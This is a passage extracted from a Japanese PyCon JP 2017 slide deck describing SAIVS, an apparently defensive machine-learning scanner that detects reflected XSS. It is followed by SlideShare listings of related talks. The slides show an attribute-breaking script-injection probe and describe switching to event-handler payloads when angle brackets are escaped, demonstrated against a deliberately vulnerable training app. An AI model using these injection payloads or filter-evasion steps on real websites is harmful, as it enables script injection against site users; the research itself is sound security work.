GAとGANを組み合わせたモデルを
使用することで、効率よく大量の
検査値を生成可能。
XSS検出の3要件
MBSD
 HTML構文の理解(✔)
 JavaScript構文の理解(✔)
 防御機構の回避(✔)
PYCON JP 2017
MBSD
SAIVSの検査手順
 第1次検査
 第2次検査
PYCON JP 2017
クローリングしながら、(入力値の)
出力箇所を調べるために正常リクエストを送信
MBSD
Web Server
Web Apps
SAIVS
正常リクエスト送信
第1次検査
PYCON JP 2017
入力値の出力箇所を認識
MBSD
Web Server
Web Apps
SAIVS
正常リクエスト送信
レスポンスの分析
第1次検査
<~value="xxx">
PYCON JP 2017
出力箇所を基にシードを抽出
MBSD
Web Server
Web Apps
SAIVS
正常リクエスト送信
レスポンスの分析
第1次検査
<~value="xxx">
PYCON JP 2017
シードに続くHTML/JS構文を考える
⇒学習済みLSTMを使用
MBSD
Web Server
Web Apps
SAIVS
正常リクエスト送信
レスポンスの分析
第1次検査
<~value=“”>
PYCON JP 2017
考えたHTML / JS構文の後にスクリプトを付与
MBSD
Web Server
Web Apps
SAIVS
正常リクエスト送信
レスポンスの分析
第1次検査
<~value=“”><script>alert(3122);</script>
PYCON JP 2017
RXSSを検出するために検査リクエストを送信
MBSD
Web Server
Web Apps
SAIVS
検査リクエスト送信
第1次検査
<~value=“”><script>alert(3122);</script>
PYCON JP 2017
RXSS有無を判定
検出 ⇒ 検査終了、未検出 ⇒ 第2次検査へ
MBSD
Web Server
Web Apps
SAIVS
検査リクエスト送信
レスポンスの分析
第1次検査
RXSSあり?なし?
PYCON JP 2017
スクリプトが動作しなかった理由を探る
⇒「<」「>」がエスケープされている
MBSD
Web Server
Web Apps
SAIVS
検査リクエスト送信
レスポンスの分析
第2次検査
<~value=“”&gt;&lt;script&gt;alert(3122);・・・
PYCON JP 2017
過去の経験を基に、最適な代替検査値を選択
⇒学習済みMLPを使用
MBSD
Web Server
Web Apps
SAIVS
検査リクエスト送信
レスポンスの分析
第2次検査
Event handler?
PYCON JP 2017
代替の検査値を使用した検査リクエストを送信
MBSD
Web Server
Web Apps
SAIVS
検査リクエスト再送信
第2次検査
Event handler?
PYCON JP 2017
RXSS有無を判定
検出 ⇒ 検査終了、未検出 ⇒ 第2次検査を再試行
MBSD
Web Server
Web Apps
SAIVS
検査リクエスト再送信
レスポンスの分析
第2次検査
RXSSあり?なし?
PYCON JP 2017
SAIVSのデモ
MBSD
Target:OWASP Broken Web Apps Google Gruyere
PYCON JP 2017
SAIVSのデモ
MBSD
Top Sign up
Login New snippet
Sign up
complete
1.Sign upでアカウント作成
2.ログイン
3.Snippet 登録
4.Profile 更新
Profile
New snippet
register
Profile
update
脆弱性
PYCON JP 2017
SAIVSのデモ
MBSD
Top Sign up
Login New snippet
Sign up
complete
1.Sign upでアカウント作成
2.ログイン
3.Snippet 登録
4.Profile 更新
Profile
New snippet
register
Profile
update
PYCON JP 2017
SAIVSのデモ
MBSD
Top Sign up
Login New snippet
Sign up
complete
1.Sign upでアカウント作成
2.ログイン
3.Snippet 登録
4.Profile 更新
Profile
New snippet
register
Profile
update
PYCON JP 2017
SAIVSのデモ
MBSD
Top Sign up
Login New snippet
Sign up
complete
1.Sign upでアカウント作成
2.ログイン
3.Snippet 登録
4.Profile 更新
Profile
New snippet
register
Profile
update
PYCON JP 2017
SAIVSのデモ
MBSD
Top Sign up
Login
Sign up
complete
1.Sign upでアカウント作成
2.ログイン
3.Snippet 登録
4.Profile 更新
Profile Profile
update
New snippet
New snippet
register
PYCON JP 2017
SAIVSのデモ
MBSD
機能名 出力箇所/変換パターン
New snippet register
出力箇所 : BODY タグ内
防御機構 : <script>⇒<block>への変換
Profile update
出力箇所 : A タグ内
防御機構 : 「<」、「>」のエスケープ
クローリングしながらWebアプリの挙動を観察し、
適切な検査値を使用する必要がある。
PYCON JP 2017
MBSD
SAIVSのデモ
PYCON JP 2017
https://www.youtube.com/watch?v=N5d9oM0NcM0
スキャン結果
MBSD PYCON JP 2017
SAIVSの構成要素
MBSD
言語 Python 2.7.11
ライブラリ
・Word2Vec
gensim 2.3.0
・LSTM, 多層パーセプトロン(DQN, GAN)
Keras 2.0.8
・ナイーブベイズ, Q学習, GA
not use library
・HTTP通信
requests 2.13.0
・HTML Parser
beautifulsoup4 4.5.1
動作環境
CPU : Intel Core™ i7-6500U 2.5GHz x 4core
GPU : NVIDIA GeForce GTX 965M
RAM : 16.0GB
PYCON JP 2017
MBSD
 クローリング能力の強化
 複雑なアプリへの対応
 CAPTCHAへの対応
Future work
 脆弱性検出能力の強化
 複雑なRXSSパターンへの対応
 他脆弱性への対応
PYCON JP 2017
Download “.PDF” version of this document:
≫ https://www.slideshare.net/babaroa

Weitere ähnliche Inhalte

Was ist angesagt?

Swagger ではない OpenAPI Specification 3.0 による API サーバー開発
Swagger ではない OpenAPI Specification 3.0 による API サーバー開発Swagger ではない OpenAPI Specification 3.0 による API サーバー開発
Swagger ではない OpenAPI Specification 3.0 による API サーバー開発Yahoo!デベロッパーネットワーク
 
Pythonを使った簡易診断スクリプトの作り方
Pythonを使った簡易診断スクリプトの作り方Pythonを使った簡易診断スクリプトの作り方
Pythonを使った簡易診断スクリプトの作り方Yuichi Hattori
 
SQLインジェクション総”習”編
SQLインジェクション総”習”編SQLインジェクション総”習”編
SQLインジェクション総”習”編Yasuo Ohgaki
 
辞書攻撃をする人は何をどう使っているのか
辞書攻撃をする人は何をどう使っているのか辞書攻撃をする人は何をどう使っているのか
辞書攻撃をする人は何をどう使っているのかozuma5119
 
MongoDBの脆弱性診断 - smarttechgeeks
MongoDBの脆弱性診断 - smarttechgeeksMongoDBの脆弱性診断 - smarttechgeeks
MongoDBの脆弱性診断 - smarttechgeekstobaru_yuta
 
Redisの特徴と活用方法について
Redisの特徴と活用方法についてRedisの特徴と活用方法について
Redisの特徴と活用方法についてYuji Otani
 
Akka ActorとAMQPでLINEのメッセージングパイプラインをリプレースした話
Akka ActorとAMQPでLINEのメッセージングパイプラインをリプレースした話Akka ActorとAMQPでLINEのメッセージングパイプラインをリプレースした話
Akka ActorとAMQPでLINEのメッセージングパイプラインをリプレースした話LINE Corporation
 
DigdagはなぜYAMLなのか?
DigdagはなぜYAMLなのか?DigdagはなぜYAMLなのか?
DigdagはなぜYAMLなのか?Sadayuki Furuhashi
 
今さら聞けないXSS
今さら聞けないXSS今さら聞けないXSS
今さら聞けないXSSSota Sugiura
 
Javaでのバリデーション 〜Bean Validation篇〜
Javaでのバリデーション 〜Bean Validation篇〜Javaでのバリデーション 〜Bean Validation篇〜
Javaでのバリデーション 〜Bean Validation篇〜eiryu
 
なぜ初心者は webpackが解らないのか?- Why can’t you understand the webpack? -
なぜ初心者は webpackが解らないのか?- Why can’t you understand the webpack? - なぜ初心者は webpackが解らないのか?- Why can’t you understand the webpack? -
なぜ初心者は webpackが解らないのか?- Why can’t you understand the webpack? - 健人 井関
 
インフラエンジニアの綺麗で優しい手順書の書き方
インフラエンジニアの綺麗で優しい手順書の書き方インフラエンジニアの綺麗で優しい手順書の書き方
インフラエンジニアの綺麗で優しい手順書の書き方Shohei Koyama
 
【Zabbix2.0】snmpttによるトラップメッセージの編集 #Zabbix #自宅ラック勉強会
【Zabbix2.0】snmpttによるトラップメッセージの編集 #Zabbix #自宅ラック勉強会【Zabbix2.0】snmpttによるトラップメッセージの編集 #Zabbix #自宅ラック勉強会
【Zabbix2.0】snmpttによるトラップメッセージの編集 #Zabbix #自宅ラック勉強会真乙 九龍
 
.NET 7期待の新機能
.NET 7期待の新機能.NET 7期待の新機能
.NET 7期待の新機能TomomitsuKusaba
 
自分でできるWebアプリケーション脆弱性診断 - デブサミ2010
自分でできるWebアプリケーション脆弱性診断 - デブサミ2010自分でできるWebアプリケーション脆弱性診断 - デブサミ2010
自分でできるWebアプリケーション脆弱性診断 - デブサミ2010Sen Ueno
 
とある診断員とSQLインジェクション
とある診断員とSQLインジェクションとある診断員とSQLインジェクション
とある診断員とSQLインジェクションzaki4649
 
PHP-FPM の子プロセス制御方法と設定をおさらいしよう
PHP-FPM の子プロセス制御方法と設定をおさらいしようPHP-FPM の子プロセス制御方法と設定をおさらいしよう
PHP-FPM の子プロセス制御方法と設定をおさらいしようShohei Okada
 
とある診断員とAWS
とある診断員とAWSとある診断員とAWS
とある診断員とAWSzaki4649
 

Was ist angesagt? (20)

Swagger ではない OpenAPI Specification 3.0 による API サーバー開発
Swagger ではない OpenAPI Specification 3.0 による API サーバー開発Swagger ではない OpenAPI Specification 3.0 による API サーバー開発
Swagger ではない OpenAPI Specification 3.0 による API サーバー開発
 
Dive in burpsuite
Dive in burpsuiteDive in burpsuite
Dive in burpsuite
 
Pythonを使った簡易診断スクリプトの作り方
Pythonを使った簡易診断スクリプトの作り方Pythonを使った簡易診断スクリプトの作り方
Pythonを使った簡易診断スクリプトの作り方
 
SQLインジェクション総”習”編
SQLインジェクション総”習”編SQLインジェクション総”習”編
SQLインジェクション総”習”編
 
辞書攻撃をする人は何をどう使っているのか
辞書攻撃をする人は何をどう使っているのか辞書攻撃をする人は何をどう使っているのか
辞書攻撃をする人は何をどう使っているのか
 
MongoDBの脆弱性診断 - smarttechgeeks
MongoDBの脆弱性診断 - smarttechgeeksMongoDBの脆弱性診断 - smarttechgeeks
MongoDBの脆弱性診断 - smarttechgeeks
 
Redisの特徴と活用方法について
Redisの特徴と活用方法についてRedisの特徴と活用方法について
Redisの特徴と活用方法について
 
Akka ActorとAMQPでLINEのメッセージングパイプラインをリプレースした話
Akka ActorとAMQPでLINEのメッセージングパイプラインをリプレースした話Akka ActorとAMQPでLINEのメッセージングパイプラインをリプレースした話
Akka ActorとAMQPでLINEのメッセージングパイプラインをリプレースした話
 
DigdagはなぜYAMLなのか?
DigdagはなぜYAMLなのか?DigdagはなぜYAMLなのか?
DigdagはなぜYAMLなのか?
 
今さら聞けないXSS
今さら聞けないXSS今さら聞けないXSS
今さら聞けないXSS
 
Javaでのバリデーション 〜Bean Validation篇〜
Javaでのバリデーション 〜Bean Validation篇〜Javaでのバリデーション 〜Bean Validation篇〜
Javaでのバリデーション 〜Bean Validation篇〜
 
なぜ初心者は webpackが解らないのか?- Why can’t you understand the webpack? -
なぜ初心者は webpackが解らないのか?- Why can’t you understand the webpack? - なぜ初心者は webpackが解らないのか?- Why can’t you understand the webpack? -
なぜ初心者は webpackが解らないのか?- Why can’t you understand the webpack? -
 
ZenmuTechのご紹介
ZenmuTechのご紹介ZenmuTechのご紹介
ZenmuTechのご紹介
 
インフラエンジニアの綺麗で優しい手順書の書き方
インフラエンジニアの綺麗で優しい手順書の書き方インフラエンジニアの綺麗で優しい手順書の書き方
インフラエンジニアの綺麗で優しい手順書の書き方
 
【Zabbix2.0】snmpttによるトラップメッセージの編集 #Zabbix #自宅ラック勉強会
【Zabbix2.0】snmpttによるトラップメッセージの編集 #Zabbix #自宅ラック勉強会【Zabbix2.0】snmpttによるトラップメッセージの編集 #Zabbix #自宅ラック勉強会
【Zabbix2.0】snmpttによるトラップメッセージの編集 #Zabbix #自宅ラック勉強会
 
.NET 7期待の新機能
.NET 7期待の新機能.NET 7期待の新機能
.NET 7期待の新機能
 
自分でできるWebアプリケーション脆弱性診断 - デブサミ2010
自分でできるWebアプリケーション脆弱性診断 - デブサミ2010自分でできるWebアプリケーション脆弱性診断 - デブサミ2010
自分でできるWebアプリケーション脆弱性診断 - デブサミ2010
 
とある診断員とSQLインジェクション
とある診断員とSQLインジェクションとある診断員とSQLインジェクション
とある診断員とSQLインジェクション
 
PHP-FPM の子プロセス制御方法と設定をおさらいしよう
PHP-FPM の子プロセス制御方法と設定をおさらいしようPHP-FPM の子プロセス制御方法と設定をおさらいしよう
PHP-FPM の子プロセス制御方法と設定をおさらいしよう
 
とある診断員とAWS
とある診断員とAWSとある診断員とAWS
とある診断員とAWS
 

Andere mochten auch

データサイエンティスト協会スキル委員会4thシンポジウム講演資料
データサイエンティスト協会スキル委員会4thシンポジウム講演資料データサイエンティスト協会スキル委員会4thシンポジウム講演資料
データサイエンティスト協会スキル委員会4thシンポジウム講演資料The Japan DataScientist Society
 
深層学習と確率プログラミングを融合したEdwardについて
深層学習と確率プログラミングを融合したEdwardについて深層学習と確率プログラミングを融合したEdwardについて
深層学習と確率プログラミングを融合したEdwardについてryosuke-kojima
 
Lecture univ.tokyo 2017_okanohara
Lecture univ.tokyo 2017_okanoharaLecture univ.tokyo 2017_okanohara
Lecture univ.tokyo 2017_okanoharaPreferred Networks
 
Pythonistaデビュー #PyNyumon 2016/5/31
Pythonistaデビュー #PyNyumon 2016/5/31Pythonistaデビュー #PyNyumon 2016/5/31
Pythonistaデビュー #PyNyumon 2016/5/31Shinichi Nakagawa
 
Windows10タブレットに各種Linuxディストリを入れて遊ぼう 2017年度東京Spring版
Windows10タブレットに各種Linuxディストリを入れて遊ぼう 2017年度東京Spring版Windows10タブレットに各種Linuxディストリを入れて遊ぼう 2017年度東京Spring版
Windows10タブレットに各種Linuxディストリを入れて遊ぼう 2017年度東京Spring版Netwalker lab kapper
 
Kaggle meetup #3 instacart 2nd place solution
Kaggle meetup #3 instacart 2nd place solutionKaggle meetup #3 instacart 2nd place solution
Kaggle meetup #3 instacart 2nd place solutionKazuki Onodera
 
分散システムについて語らせてくれ
分散システムについて語らせてくれ分散システムについて語らせてくれ
分散システムについて語らせてくれKumazaki Hiroki
 
外部委託から内製化アジャイルへの切替支援を通してわかったこと #augj
外部委託から内製化アジャイルへの切替支援を通してわかったこと #augj外部委託から内製化アジャイルへの切替支援を通してわかったこと #augj
外部委託から内製化アジャイルへの切替支援を通してわかったこと #augj満徳 関
 
リクルートを支える横断データ基盤と機械学習の適用事例
リクルートを支える横断データ基盤と機械学習の適用事例リクルートを支える横断データ基盤と機械学習の適用事例
リクルートを支える横断データ基盤と機械学習の適用事例Tetsutaro Watanabe
 
エンジニアのための経営学
エンジニアのための経営学エンジニアのための経営学
エンジニアのための経営学Michitaka Yumoto
 
深層学習フレームワークChainerの特徴
深層学習フレームワークChainerの特徴深層学習フレームワークChainerの特徴
深層学習フレームワークChainerの特徴Yuya Unno
 
これからはじめるインフラエンジニア
これからはじめるインフラエンジニアこれからはじめるインフラエンジニア
これからはじめるインフラエンジニア外道 父
 
機械学習のためのベイズ最適化入門
機械学習のためのベイズ最適化入門機械学習のためのベイズ最適化入門
機械学習のためのベイズ最適化入門hoxo_m
 
Cloud OnAir #04 今話題の機械学習・GCP で何ができるのか?
Cloud OnAir #04 今話題の機械学習・GCP で何ができるのか? Cloud OnAir #04 今話題の機械学習・GCP で何ができるのか?
Cloud OnAir #04 今話題の機械学習・GCP で何ができるのか? Google Cloud Platform - Japan
 

Andere mochten auch (16)

Pycon2017
Pycon2017Pycon2017
Pycon2017
 
データサイエンティスト協会スキル委員会4thシンポジウム講演資料
データサイエンティスト協会スキル委員会4thシンポジウム講演資料データサイエンティスト協会スキル委員会4thシンポジウム講演資料
データサイエンティスト協会スキル委員会4thシンポジウム講演資料
 
深層学習と確率プログラミングを融合したEdwardについて
深層学習と確率プログラミングを融合したEdwardについて深層学習と確率プログラミングを融合したEdwardについて
深層学習と確率プログラミングを融合したEdwardについて
 
Lecture univ.tokyo 2017_okanohara
Lecture univ.tokyo 2017_okanoharaLecture univ.tokyo 2017_okanohara
Lecture univ.tokyo 2017_okanohara
 
Pythonistaデビュー #PyNyumon 2016/5/31
Pythonistaデビュー #PyNyumon 2016/5/31Pythonistaデビュー #PyNyumon 2016/5/31
Pythonistaデビュー #PyNyumon 2016/5/31
 
Windows10タブレットに各種Linuxディストリを入れて遊ぼう 2017年度東京Spring版
Windows10タブレットに各種Linuxディストリを入れて遊ぼう 2017年度東京Spring版Windows10タブレットに各種Linuxディストリを入れて遊ぼう 2017年度東京Spring版
Windows10タブレットに各種Linuxディストリを入れて遊ぼう 2017年度東京Spring版
 
スキルチェックリスト 2017年版
スキルチェックリスト 2017年版スキルチェックリスト 2017年版
スキルチェックリスト 2017年版
 
Kaggle meetup #3 instacart 2nd place solution
Kaggle meetup #3 instacart 2nd place solutionKaggle meetup #3 instacart 2nd place solution
Kaggle meetup #3 instacart 2nd place solution
 
分散システムについて語らせてくれ
分散システムについて語らせてくれ分散システムについて語らせてくれ
分散システムについて語らせてくれ
 
外部委託から内製化アジャイルへの切替支援を通してわかったこと #augj
外部委託から内製化アジャイルへの切替支援を通してわかったこと #augj外部委託から内製化アジャイルへの切替支援を通してわかったこと #augj
外部委託から内製化アジャイルへの切替支援を通してわかったこと #augj
 
リクルートを支える横断データ基盤と機械学習の適用事例
リクルートを支える横断データ基盤と機械学習の適用事例リクルートを支える横断データ基盤と機械学習の適用事例
リクルートを支える横断データ基盤と機械学習の適用事例
 
エンジニアのための経営学
エンジニアのための経営学エンジニアのための経営学
エンジニアのための経営学
 
深層学習フレームワークChainerの特徴
深層学習フレームワークChainerの特徴深層学習フレームワークChainerの特徴
深層学習フレームワークChainerの特徴
 
これからはじめるインフラエンジニア
これからはじめるインフラエンジニアこれからはじめるインフラエンジニア
これからはじめるインフラエンジニア
 
機械学習のためのベイズ最適化入門
機械学習のためのベイズ最適化入門機械学習のためのベイズ最適化入門
機械学習のためのベイズ最適化入門
 
Cloud OnAir #04 今話題の機械学習・GCP で何ができるのか?
Cloud OnAir #04 今話題の機械学習・GCP で何ができるのか? Cloud OnAir #04 今話題の機械学習・GCP で何ができるのか?
Cloud OnAir #04 今話題の機械学習・GCP で何ができるのか?
 

Ähnlich wie Pythonと機械学習によるWebセキュリティの自動化

[CB16] 機械学習でWebアプリケーションの脆弱性を見つける方法 by 高江須 勲
[CB16] 機械学習でWebアプリケーションの脆弱性を見つける方法 by 高江須 勲[CB16] 機械学習でWebアプリケーションの脆弱性を見つける方法 by 高江須 勲
[CB16] 機械学習でWebアプリケーションの脆弱性を見つける方法 by 高江須 勲CODE BLUE
 
CODE BLUE 2016 - 機械学習でWebアプリケーションの脆弱性を見つける方法
CODE BLUE 2016 - 機械学習でWebアプリケーションの脆弱性を見つける方法CODE BLUE 2016 - 機械学習でWebアプリケーションの脆弱性を見つける方法
CODE BLUE 2016 - 機械学習でWebアプリケーションの脆弱性を見つける方法Isao Takaesu
 
GAとGANによる検査値の自動生成
GAとGANによる検査値の自動生成GAとGANによる検査値の自動生成
GAとGANによる検査値の自動生成Isao Takaesu
 
NS study8 DDD Microservices Azuer Service Fabric
NS study8 DDD Microservices Azuer Service FabricNS study8 DDD Microservices Azuer Service Fabric
NS study8 DDD Microservices Azuer Service Fabric貴志 上坂
 
AWS Summit New York 2017 Keynote Recap
AWS Summit New York 2017 Keynote RecapAWS Summit New York 2017 Keynote Recap
AWS Summit New York 2017 Keynote RecapEiji Shinohara
 
re:Invent 2016-2017 で覚えた後悔しない立ち回り方
re:Invent 2016-2017 で覚えた後悔しない立ち回り方re:Invent 2016-2017 で覚えた後悔しない立ち回り方
re:Invent 2016-2017 で覚えた後悔しない立ち回り方kinunori
 
Sansanがメッセージング (SQS) でスケーラビリティを手に入れた話
Sansanがメッセージング (SQS) でスケーラビリティを手に入れた話Sansanがメッセージング (SQS) でスケーラビリティを手に入れた話
Sansanがメッセージング (SQS) でスケーラビリティを手に入れた話Atsushi Kambara
 
クラウドの破壊力
クラウドの破壊力クラウドの破壊力
クラウドの破壊力Osaka University
 
俺が作れるさいきょうAIアシストシステム.pptx
俺が作れるさいきょうAIアシストシステム.pptx俺が作れるさいきょうAIアシストシステム.pptx
俺が作れるさいきょうAIアシストシステム.pptxytakahashineco
 
(2017.6.2) Azure HDInsightで実現するスケーラブル分析環境
(2017.6.2) Azure HDInsightで実現するスケーラブル分析環境(2017.6.2) Azure HDInsightで実現するスケーラブル分析環境
(2017.6.2) Azure HDInsightで実現するスケーラブル分析環境Mitsutoshi Kiuchi
 
DLL: Ignite2019 CognitiveServices Update 20191127
DLL: Ignite2019 CognitiveServices Update 20191127DLL: Ignite2019 CognitiveServices Update 20191127
DLL: Ignite2019 CognitiveServices Update 20191127Ayako Omori
 
re:Invent 2020 データとか、機械学習とかの頭の整理
re:Invent 2020 データとか、機械学習とかの頭の整理re:Invent 2020 データとか、機械学習とかの頭の整理
re:Invent 2020 データとか、機械学習とかの頭の整理TatsuyaMinami
 
2018 cisco webEx、WebEx Teams trial flyer
2018 cisco webEx、WebEx Teams trial flyer2018 cisco webEx、WebEx Teams trial flyer
2018 cisco webEx、WebEx Teams trial flyerHiroyuki Yokota
 
JAWS DAYS 2017 Mafia Talk
JAWS DAYS 2017 Mafia TalkJAWS DAYS 2017 Mafia Talk
JAWS DAYS 2017 Mafia Talk真吾 吉田
 
JSON Value into Power Automate
JSON Value into Power AutomateJSON Value into Power Automate
JSON Value into Power AutomateTomoyuki Obi
 
Introducing microsoft learn
 Introducing microsoft learn Introducing microsoft learn
Introducing microsoft learnru pic
 
マーケティング向け大規模ログ解析事例紹介
マーケティング向け大規模ログ解析事例紹介マーケティング向け大規模ログ解析事例紹介
マーケティング向け大規模ログ解析事例紹介Kenji Hara
 
スタートアップならおさえておきたいAWS(Amazon Web Services)入門 ~メディア露出時のピーク対策編~ 先生:高山 博史・今井 雄太
スタートアップならおさえておきたいAWS(Amazon Web Services)入門 ~メディア露出時のピーク対策編~ 先生:高山 博史・今井 雄太スタートアップならおさえておきたいAWS(Amazon Web Services)入門 ~メディア露出時のピーク対策編~ 先生:高山 博史・今井 雄太
スタートアップならおさえておきたいAWS(Amazon Web Services)入門 ~メディア露出時のピーク対策編~ 先生:高山 博史・今井 雄太schoowebcampus
 

Ähnlich wie Pythonと機械学習によるWebセキュリティの自動化 (20)

[CB16] 機械学習でWebアプリケーションの脆弱性を見つける方法 by 高江須 勲
[CB16] 機械学習でWebアプリケーションの脆弱性を見つける方法 by 高江須 勲[CB16] 機械学習でWebアプリケーションの脆弱性を見つける方法 by 高江須 勲
[CB16] 機械学習でWebアプリケーションの脆弱性を見つける方法 by 高江須 勲
 
CODE BLUE 2016 - 機械学習でWebアプリケーションの脆弱性を見つける方法
CODE BLUE 2016 - 機械学習でWebアプリケーションの脆弱性を見つける方法CODE BLUE 2016 - 機械学習でWebアプリケーションの脆弱性を見つける方法
CODE BLUE 2016 - 機械学習でWebアプリケーションの脆弱性を見つける方法
 
GAとGANによる検査値の自動生成
GAとGANによる検査値の自動生成GAとGANによる検査値の自動生成
GAとGANによる検査値の自動生成
 
NS study8 DDD Microservices Azuer Service Fabric
NS study8 DDD Microservices Azuer Service FabricNS study8 DDD Microservices Azuer Service Fabric
NS study8 DDD Microservices Azuer Service Fabric
 
AWS Summit New York 2017 Keynote Recap
AWS Summit New York 2017 Keynote RecapAWS Summit New York 2017 Keynote Recap
AWS Summit New York 2017 Keynote Recap
 
re:Invent 2016-2017 で覚えた後悔しない立ち回り方
re:Invent 2016-2017 で覚えた後悔しない立ち回り方re:Invent 2016-2017 で覚えた後悔しない立ち回り方
re:Invent 2016-2017 で覚えた後悔しない立ち回り方
 
Sansanがメッセージング (SQS) でスケーラビリティを手に入れた話
Sansanがメッセージング (SQS) でスケーラビリティを手に入れた話Sansanがメッセージング (SQS) でスケーラビリティを手に入れた話
Sansanがメッセージング (SQS) でスケーラビリティを手に入れた話
 
クラウドの破壊力
クラウドの破壊力クラウドの破壊力
クラウドの破壊力
 
俺が作れるさいきょうAIアシストシステム.pptx
俺が作れるさいきょうAIアシストシステム.pptx俺が作れるさいきょうAIアシストシステム.pptx
俺が作れるさいきょうAIアシストシステム.pptx
 
Power cms3+azure
Power cms3+azurePower cms3+azure
Power cms3+azure
 
(2017.6.2) Azure HDInsightで実現するスケーラブル分析環境
(2017.6.2) Azure HDInsightで実現するスケーラブル分析環境(2017.6.2) Azure HDInsightで実現するスケーラブル分析環境
(2017.6.2) Azure HDInsightで実現するスケーラブル分析環境
 
DLL: Ignite2019 CognitiveServices Update 20191127
DLL: Ignite2019 CognitiveServices Update 20191127DLL: Ignite2019 CognitiveServices Update 20191127
DLL: Ignite2019 CognitiveServices Update 20191127
 
re:Invent 2020 データとか、機械学習とかの頭の整理
re:Invent 2020 データとか、機械学習とかの頭の整理re:Invent 2020 データとか、機械学習とかの頭の整理
re:Invent 2020 データとか、機械学習とかの頭の整理
 
Sakaguti 27,mar.2017 casb seminar
Sakaguti 27,mar.2017 casb seminarSakaguti 27,mar.2017 casb seminar
Sakaguti 27,mar.2017 casb seminar
 
2018 cisco webEx、WebEx Teams trial flyer
2018 cisco webEx、WebEx Teams trial flyer2018 cisco webEx、WebEx Teams trial flyer
2018 cisco webEx、WebEx Teams trial flyer
 
JAWS DAYS 2017 Mafia Talk
JAWS DAYS 2017 Mafia TalkJAWS DAYS 2017 Mafia Talk
JAWS DAYS 2017 Mafia Talk
 
JSON Value into Power Automate
JSON Value into Power AutomateJSON Value into Power Automate
JSON Value into Power Automate
 
Introducing microsoft learn
 Introducing microsoft learn Introducing microsoft learn
Introducing microsoft learn
 
マーケティング向け大規模ログ解析事例紹介
マーケティング向け大規模ログ解析事例紹介マーケティング向け大規模ログ解析事例紹介
マーケティング向け大規模ログ解析事例紹介
 
スタートアップならおさえておきたいAWS(Amazon Web Services)入門 ~メディア露出時のピーク対策編~ 先生:高山 博史・今井 雄太
スタートアップならおさえておきたいAWS(Amazon Web Services)入門 ~メディア露出時のピーク対策編~ 先生:高山 博史・今井 雄太スタートアップならおさえておきたいAWS(Amazon Web Services)入門 ~メディア露出時のピーク対策編~ 先生:高山 博史・今井 雄太
スタートアップならおさえておきたいAWS(Amazon Web Services)入門 ~メディア露出時のピーク対策編~ 先生:高山 博史・今井 雄太
 

Mehr von Isao Takaesu

Deep Exploit@Black Hat Europe 2018 Arsenal
Deep Exploit@Black Hat Europe 2018 ArsenalDeep Exploit@Black Hat Europe 2018 Arsenal
Deep Exploit@Black Hat Europe 2018 ArsenalIsao Takaesu
 
OSSで作る機械学習を用いたペネトレーションテストツール
OSSで作る機械学習を用いたペネトレーションテストツールOSSで作る機械学習を用いたペネトレーションテストツール
OSSで作る機械学習を用いたペネトレーションテストツールIsao Takaesu
 
サイバーセキュリティ錬金術 - ノイズから価値あるデータを生成する技術 -
サイバーセキュリティ錬金術 - ノイズから価値あるデータを生成する技術 -サイバーセキュリティ錬金術 - ノイズから価値あるデータを生成する技術 -
サイバーセキュリティ錬金術 - ノイズから価値あるデータを生成する技術 -Isao Takaesu
 
ハニーポッター技術交流会
ハニーポッター技術交流会ハニーポッター技術交流会
ハニーポッター技術交流会Isao Takaesu
 
サイバーセキュリティ錬金術
サイバーセキュリティ錬金術サイバーセキュリティ錬金術
サイバーセキュリティ錬金術Isao Takaesu
 
脆弱性診断データの活用例 - Webアプリケーション診断編 -
脆弱性診断データの活用例 - Webアプリケーション診断編 -脆弱性診断データの活用例 - Webアプリケーション診断編 -
脆弱性診断データの活用例 - Webアプリケーション診断編 -Isao Takaesu
 
RECOMMENDER for Web security engineers - 中級編 -
RECOMMENDER for Web security engineers - 中級編 -RECOMMENDER for Web security engineers - 中級編 -
RECOMMENDER for Web security engineers - 中級編 -Isao Takaesu
 
RECOMMENDER for Web security engineers - 初級編 -
RECOMMENDER for Web security engineers - 初級編 -RECOMMENDER for Web security engineers - 初級編 -
RECOMMENDER for Web security engineers - 初級編 -Isao Takaesu
 
Convolutional Neural Networkに対する攻撃手法
Convolutional Neural Networkに対する攻撃手法Convolutional Neural Networkに対する攻撃手法
Convolutional Neural Networkに対する攻撃手法Isao Takaesu
 
Discussion AIの脆弱性について
Discussion AIの脆弱性についてDiscussion AIの脆弱性について
Discussion AIの脆弱性についてIsao Takaesu
 
機械学習関連情報の収集方法
機械学習関連情報の収集方法機械学習関連情報の収集方法
機械学習関連情報の収集方法Isao Takaesu
 
introduce "Stealing Machine Learning Models via Prediction APIs"
introduce "Stealing Machine Learning Models  via Prediction APIs"introduce "Stealing Machine Learning Models  via Prediction APIs"
introduce "Stealing Machine Learning Models via Prediction APIs"Isao Takaesu
 
機械学習を使ったハッキング手法
機械学習を使ったハッキング手法機械学習を使ったハッキング手法
機械学習を使ったハッキング手法Isao Takaesu
 
ITエンジニアのための機械学習理論入門 第5章
ITエンジニアのための機械学習理論入門 第5章ITエンジニアのための機械学習理論入門 第5章
ITエンジニアのための機械学習理論入門 第5章Isao Takaesu
 
機械学習でWebアプリの脆弱性を見つける - Reflected XSS 編 -
機械学習でWebアプリの脆弱性を見つける - Reflected XSS 編 -機械学習でWebアプリの脆弱性を見つける - Reflected XSS 編 -
機械学習でWebアプリの脆弱性を見つける - Reflected XSS 編 -Isao Takaesu
 
AISECjp SAIVS(Spider Artificial Intelligence Vulnerability Scanner)
AISECjp SAIVS(Spider Artificial Intelligence Vulnerability Scanner)AISECjp SAIVS(Spider Artificial Intelligence Vulnerability Scanner)
AISECjp SAIVS(Spider Artificial Intelligence Vulnerability Scanner)Isao Takaesu
 
Aiにwebアプリ診断をやらせてみる
Aiにwebアプリ診断をやらせてみるAiにwebアプリ診断をやらせてみる
Aiにwebアプリ診断をやらせてみるIsao Takaesu
 

Mehr von Isao Takaesu (17)

Deep Exploit@Black Hat Europe 2018 Arsenal
Deep Exploit@Black Hat Europe 2018 ArsenalDeep Exploit@Black Hat Europe 2018 Arsenal
Deep Exploit@Black Hat Europe 2018 Arsenal
 
OSSで作る機械学習を用いたペネトレーションテストツール
OSSで作る機械学習を用いたペネトレーションテストツールOSSで作る機械学習を用いたペネトレーションテストツール
OSSで作る機械学習を用いたペネトレーションテストツール
 
サイバーセキュリティ錬金術 - ノイズから価値あるデータを生成する技術 -
サイバーセキュリティ錬金術 - ノイズから価値あるデータを生成する技術 -サイバーセキュリティ錬金術 - ノイズから価値あるデータを生成する技術 -
サイバーセキュリティ錬金術 - ノイズから価値あるデータを生成する技術 -
 
ハニーポッター技術交流会
ハニーポッター技術交流会ハニーポッター技術交流会
